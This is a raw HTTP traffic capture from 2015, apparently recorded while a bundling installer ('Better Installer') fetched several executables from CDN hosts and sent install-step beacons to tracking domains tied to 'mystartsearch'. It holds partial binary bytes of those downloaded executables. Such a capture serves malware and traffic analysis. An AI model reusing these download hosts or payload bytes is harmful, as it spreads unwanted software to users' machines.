...`{f.E....P/}..4....K0...*.H..............'~.f...V'..4..)..7....hg..
.,.f5k&'.....D.(.n...EV.Hx.h..Y...d..>....n.../.\...r....%ZX-Du....
.^/K.&.).....24.,.q..l.N..W.,.Lx...U'(.qn..^j5R........d_,.h8......C..
S..6$..(.\..5... n5h...<......za2.#r..E)..?..R.r..R.i...\.....9k...
w..V46..m...u..I.L.......HTTP/1.1 200 OK..Date: Wed, 11 Feb 2015 02:34
:06 GMT..Content-Type: application/x-pkcs7-crl..Content-Length: 649..C
onnection: keep-alive..Set-Cookie: __cfduid=de8757379a935b34fa2904e0ee
12049871423622046; expires=Thu, 11-Feb-16 02:34:06 GMT; path=/; domain
=.globalsign.net; HttpOnly..Last-Modified: Thu, 11 Dec 2014 05:33:42 G
MT..CF-Cache-Status: HIT..Expires: Thu, 12 Feb 2015 02:34:06 GMT..Cach
e-Control: public, max-age=86400..Accept-Ranges: bytes..Server: cloudf
lare-nginx..CF-RAY: 1b6d25410b3508b1-FRA..0...0..m...0...*.H........0W
1.0...U....BE1.0...U....GlobalSign nv-sa1.0...U....Root CA1.0...U....G
lobalSign Root CA..141210000000Z..150331000000Z0..0*.........D.....141
125000000Z0.0...U.......0*........)E.....141125000000Z0.0...U.......0*
........ ...h..141125000000Z0.0...U.......0*........,^.....14112500000
0Z0.0...U......../0-0...U....../0...U.#..0...`{f.E....P/}..4....K0

<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=510314-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 12 Feb 2015 02:30:33 GMT

Date: Wed, 11 Feb 2015 02:30:33 GMT

Content-Range: bytes 510314-583215/583216

Content-Length: 72902

Connection: keep-alive
..pG..S[Sq.n.Q...\.J4k.}X'.S....7R..'.u.B.0.K.]l..../..`.$...-l..7.QU.
1.=..ZxSH.Q...;..Do:.....,....h.'..`;.4a..E....@L..}.R.<......tyf.=
#....x....W...j....n..0...T=t..../.........=.{.zA...S...1..l/,.I.T...H
..Z....M.u....WN.I*..%x&*!.fr....E..$...*.If ......-Nj...yP.?....Z....
j<.0..Y......j.......I.O..&v ..`.}.v..O.P....8.g$..t.........HG..1G
y..{....?L$Z...@..^\.6..^...U/..WwT\.b........o..X....b.B.`h[....n.x..
`..._;..o_.`O..r#.zA1...h....$..qm....q..g{s..K.T.....J.c.....j.g!./IN
m...Q.yh...d7{.y..=.m....h.]./b...>.@'.Y....;..5.py.....".{..HN6..z
$.Pj...X...`.GW.d....OT h'-...,.^./ ..f...?P^..s..|.dv..p......g.z....
?......\n..j.BeV........a)[email protected]........{.H.D4......At.?.i....
..-..'(.. .........e...K..|.....b8......ot..-..f.,3...e.....K..P...=Y%
.(YT..h.h........)...-X.....&..RF.)oB5...W7...I..n6q'!A....K;..T...8.l
.q......kZY.<!^.....>a..y..(C..G..RQ..x. .P../......5..t..E.....
.Q5...../.ZfM5..._.t....!.4P./.A.Z.l:....u..5%@...}...Kt.z...:g...K...
B....)...3.Sl.........1t......c| ...%.=.."\..(.x.YEA.....krE..].p{....
1......)Cxo..].mS..A.S.bV.W].U...M...WK.....0.px|......>..|Xv<Q.
.t..`.*...3b;.A.....T!("z..X.y.$.l....r..7Z.R..5...z=.......9.3..&..).
n"{....me.;....FMg........."....~'yre..T.nW.....:[email protected]...
....'.B........"..&.8..Aw.>..Tn.skc...JO;[email protected]....
Q...m...,E........1M..=..._E.$,.q.....2Zr.i>R..*...N.....7..g....j.
...W...^........D...E.(.:....H....}.....R...g.W... (M.....&...V.....?.
.{.w.....F....[#......}...............zP:.f.8.........-.J..d(..*.u<<< skipped >>>

GET /?product=firefox-34.0.5-complete&os=win&lang=en-US HTTP/1.1

Host: download.mozilla.org

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Range: bytes=900000-1199999

Cookie: optimizelySegments={"245617832":"none","245875585":"direct","245677587":"ff","246048108":"false","869421433":"true"}; optimizelyEndUserId=oeu1401956287616r0.2603029596469415; optimizelyBuckets={}; __utma=150903082.1617578787.1401956289.1401956289.1401956289.1

Connection: keep-alive


HTTP/1.1 302 Found

Server: Apache

X-Backend-Server: bouncer1.webapp.scl3.mozilla.com

Cache-Control: max-age=60

Content-Type: text/html; charset=UTF-8

Date: Wed, 11 Feb 2015 02:30:18 GMT

Location: hXXp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar

Keep-Alive: timeout=3, max=499

Content-Length: 0

Connection: Keep-Alive

X-Cache-Info: cached

HTTP/1.1 302 Found..Server: Apache..X-Backend-Server: bouncer1.webapp.
scl3.mozilla.com..Cache-Control: max-age=60..Content-Type: text/html; 
charset=UTF-8..Date: Wed, 11 Feb 2015 02:30:18 GMT..Location: hXXp://d
ownload.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US
/firefox-34.0.5.complete.mar..Keep-Alive: timeout=3, max=499..Content-
Length: 0..Connection: Keep-Alive..X-Cache-Info: cached..

GET /utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1423621888 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: ssKIgu OTO41HxhENlHYe20HByRCTJdunDt9FVKh7k0A5dOfCUE2D6sWfJkyqgNYUgzfcY5dQfg=

x-amz-request-id: 9E5A4AAE202CFC28

Date: Wed, 11 Feb 2015 02:31:26 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: ssKIgu
 OTO41HxhENlHYe20HByRCTJdunDt9FVKh7k0A5dOfCUE2D6sWfJkyqgNYUgzfcY5dQfg=
..x-amz-request-id: 9E5A4AAE202CFC28..Date: Wed, 11 Feb 2015 02:31:26 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1423621891 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: GWiispfE2bkdXYx7f0AzW1cznbeOiH4kjC00Ogy49BWTXZtOOxdoLoFkVIUSedGp2GiMOYQC8lQ=

x-amz-request-id: 46A1052ACF44E5E8

Date: Wed, 11 Feb 2015 02:31:30 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1423621891 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: /X5a0gTxVmh1YNkiZVSOpnY/aP0mvSusQSGuYLx5PFfncTeroScFUJ4xHZtzmP58LeKe61ssBzw=

x-amz-request-id: 95D2333F70CCE0FC

Date: Wed, 11 Feb 2015 02:31:30 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: /X5a0g
TxVmh1YNkiZVSOpnY/aP0mvSusQSGuYLx5PFfncTeroScFUJ4xHZtzmP58LeKe61ssBzw=
..x-amz-request-id: 95D2333F70CCE0FC..Date: Wed, 11 Feb 2015 02:31:30 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1423621893 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: SxwhRX93XFi8I7hW3G/tRwOvRRkBZPkZ4ULbe50DoLwSNn0ZchQbRQimYSsFVv6L1kVANdarRZM=

x-amz-request-id: B8F6731A227D3B25

Date: Wed, 11 Feb 2015 02:31:31 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: SxwhRX
93XFi8I7hW3G/tRwOvRRkBZPkZ4ULbe50DoLwSNn0ZchQbRQimYSsFVv6L1kVANdarRZM=
..x-amz-request-id: B8F6731A227D3B25..Date: Wed, 11 Feb 2015 02:31:31 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1423621893 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: UWw0PRPbVOxjIsKU3dBmmT oXCIrB39w z4zbP n6lhaeEc2uMksW/2lCz6VSyI2cmhNfBlDBWk=

x-amz-request-id: E44C5846FE5B048A

Date: Wed, 11 Feb 2015 02:31:32 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1423621893 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: q/AUlLsk5nFiOhfphjDpk3aCOIuEeOJgyp15zK73LF7hzDyd1vvQRbscjcdV147NOoF5z9gJXMc=

x-amz-request-id: B7B0FCCC2F088502

Date: Wed, 11 Feb 2015 02:31:32 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1423621894 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: tEQ2EeZ8TP  yL24ftwsvxtFqxRFSxOPde5rhh3VMKeT98LPQc 8dyBLPtUEwrbKbppp2z2G65k=

x-amz-request-id: 27D90BBCB963C2B1

Date: Wed, 11 Feb 2015 02:31:32 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1423621894 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 5CfrhbaB4xR xk2UA63NQuiT pSFA1EQBjzKUcHnAySeZjqPezC9qZYUwKXajxDq1dQeebKW0g0=

x-amz-request-id: 8D606F11ECD2E620

Date: Wed, 11 Feb 2015 02:31:32 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1423621894 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Zz4BPJtb0SQc2mNb1j3Rd1AaqkPEVuAJwwHeyWOYmYONYPjpMs3DPUqZEzsmIXhpwRHAtr1zbVo=

x-amz-request-id: 5B6DCBCEB9C90E58

Date: Wed, 11 Feb 2015 02:31:32 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Zz4BPJ
tb0SQc2mNb1j3Rd1AaqkPEVuAJwwHeyWOYmYONYPjpMs3DPUqZEzsmIXhpwRHAtr1zbVo=
..x-amz-request-id: 5B6DCBCEB9C90E58..Date: Wed, 11 Feb 2015 02:31:32 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1423621896 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Kvrwm6qpIfaemtWVr9taSNy6LVpKB19t8ATQ0AHF2cdlUfbMcb5lHRl1nOmhIHsDp8H8aHkphws=

x-amz-request-id: 4AB483570E087255

Date: Wed, 11 Feb 2015 02:31:34 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1423621896 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: di9cBcB/XFhbfZnl8 A4YUIJplbuGNp40swqIw1i2N4Od60QXedm0GLMEchdK2nPkWbSzsOJmKw=

x-amz-request-id: 55905918A5981FD1

Date: Wed, 11 Feb 2015 02:31:34 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1423621896 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: TGhplIYWyPL/ 0LA2SYPKP/bSdUaZVZh9rZXvUALzs0P3R6XejMWmhF93q1JMRieMSTxE6kgljw=

x-amz-request-id: C0F73F73AD09A5A4

Date: Wed, 11 Feb 2015 02:31:34 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: TGhplI
YWyPL/ 0LA2SYPKP/bSdUaZVZh9rZXvUALzs0P3R6XejMWmhF93q1JMRieMSTxE6kgljw=
..x-amz-request-id: C0F73F73AD09A5A4..Date: Wed, 11 Feb 2015 02:31:34 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1423621897 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: UqFRv8k7V7DGf5zg1TDUMas1nr3l48Sjfg78K5hIanErLpgNouUc55JxVQ6TnhUBt4VEk6HyzTM=

x-amz-request-id: 631CE8EFB58329F1

Date: Wed, 11 Feb 2015 02:31:36 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1423621898 HTTP/1.1

Host: errors.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: DlxKdyS54P0BEcHqm3JoQ5pNDAnvgVk0kBfrd8b5kKorcBpGZaiU/A6jTm36RaYZHtM6Rj SvOk=

x-amz-request-id: 2954AAE876D3DC5B

Date: Wed, 11 Feb 2015 02:31:36 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: DlxKdy
S54P0BEcHqm3JoQ5pNDAnvgVk0kBfrd8b5kKorcBpGZaiU/A6jTm36RaYZHtM6Rj SvOk=
..x-amz-request-id: 2954AAE876D3DC5B..Date: Wed, 11 Feb 2015 02:31:36 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Tue, 11 Mar 2014 09:23:59 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1714 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 11 Feb 2015 02:31:19 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.09 ms","message":"uid is not set"}..0..
....

GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 11 Feb 2015 02:31:19 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Wed, 11 Feb 2015 02:31:19 
GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunke
d..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4
..3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..0
..

GET /utility.gif?error=start&report=mini_s&ver=820&action=na&ms_vr=3&clock=0&rnd=22850 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Wed, 11 Feb 2015 02:31:28 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=482523-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 804205

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT

Accept-Ranges: bytes

ETag: "da4bdcc41345d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 11 Feb 2015 02:30:25 GMT

Content-Range: bytes 482523-1286727/1286728

X-Cache: Miss from cloudfront

Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)

X-Amz-Cf-Id: S7I-3WDtAet6FusMlfNQKhP5dxdfrd_p1l89Sbq7ggwv1qJmJ8MtKw==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 804205..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT..Accept-Ranges: bytes.
.ETag: "da4bdcc41345d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Wed, 11 Feb 2015 02:30:25 GMT..Content-Range: bytes 4825
23-1286727/1286728..X-Cache: Miss from cloudfront..Via: 1.1 8813babdd8
5ca691e150294142d51c61.cloudfront.net (CloudFront)..X-Amz-Cf-Id: S7I-3
WDtAet6FusMlfNQKhP5dxdfrd_p1l89Sbq7ggwv1qJmJ8MtKw==...{.9.eB..t.K....5
.....w..R..D.......m..>?T..Q..F..GI.iN^.t.....6x6..m...^...)W`!L.n5
F .....~.Kjl..>T.?.)..f...T*6XD.e.....E.O.YDyR..I..]P......a...[..-
a...h....-!.&H...[_.u..i0....../7...........)..5..l.9..........]@L.=..
.Q.o9v-........T..6..F4....$..\K..O...m..E...l.";.V..,S..Uc.U.!.....".
.........sw..h..:0.,...?...?.....#.e...N...K.............W\.-".......:
.>.\L.d..g...T.?O.g.H8N.?........&X ..r2i=...>f.....FrT.".M..Zk.
b...;.......2V.x.R...........3.{..u-_5_..N....6f..P..-..c.O.R`.......v
..8/....Az_..).Buu..O......>.....:{.......09...Y.......Z."3...|^rQq
.,M..f$...&P..D......dE|./.._......b_..T.i..q#..^...TR.....?........I.
....mm...0*.C.i...>.qW?Q.L).Q.......s\..`.>...0..C[..m..X....^bq
.=..k...3e*...nj_F.......S......i..V.7..uW...B^_........J!..]....R.L..
.G...N:...6M.039.'..'...n$}....W.f.s...R}.Y...x....."9.....?09../...2.
..9......&......QMarp.jo.KZ...d....p.I......=..`sh..../.............z.
.(..J_...W.....eUQ.%X..6........1....o.....Q..Nn.....vp.5T|%...}..<<< skipped >>>

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.wpm HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 11 Feb 2015 02:31:18 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.44 ms","message":"store 1 action and 0 upd
ate "}..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 08 Feb 2015 06:12:59 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 2517

X-Cache: Hit from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kgCv9BI05Eqgpv_3L19_SkadcuY1q3VMNCNxqqs9tG-T6xuCnmejiw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe_a HTTP/1.1

Host: dl.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:31:21 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423537353"

Last-Modified: Tue, 10 Feb 2015 03:02:33 GMT

Cache-Control: max-age=2000

Content-Length: 2508981

Content-Type: text/plain

X-HW: 1423621882.dop003.am4.t,1423621881.cds058.am4.c

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@..........................`
.......r........ ..............................p.......P.. ...........
.Y....................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected]... ..
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..

<<< skipped >>>

GET /v4/sof-installer/535559167_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 11 Feb 2015 02:30:41 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

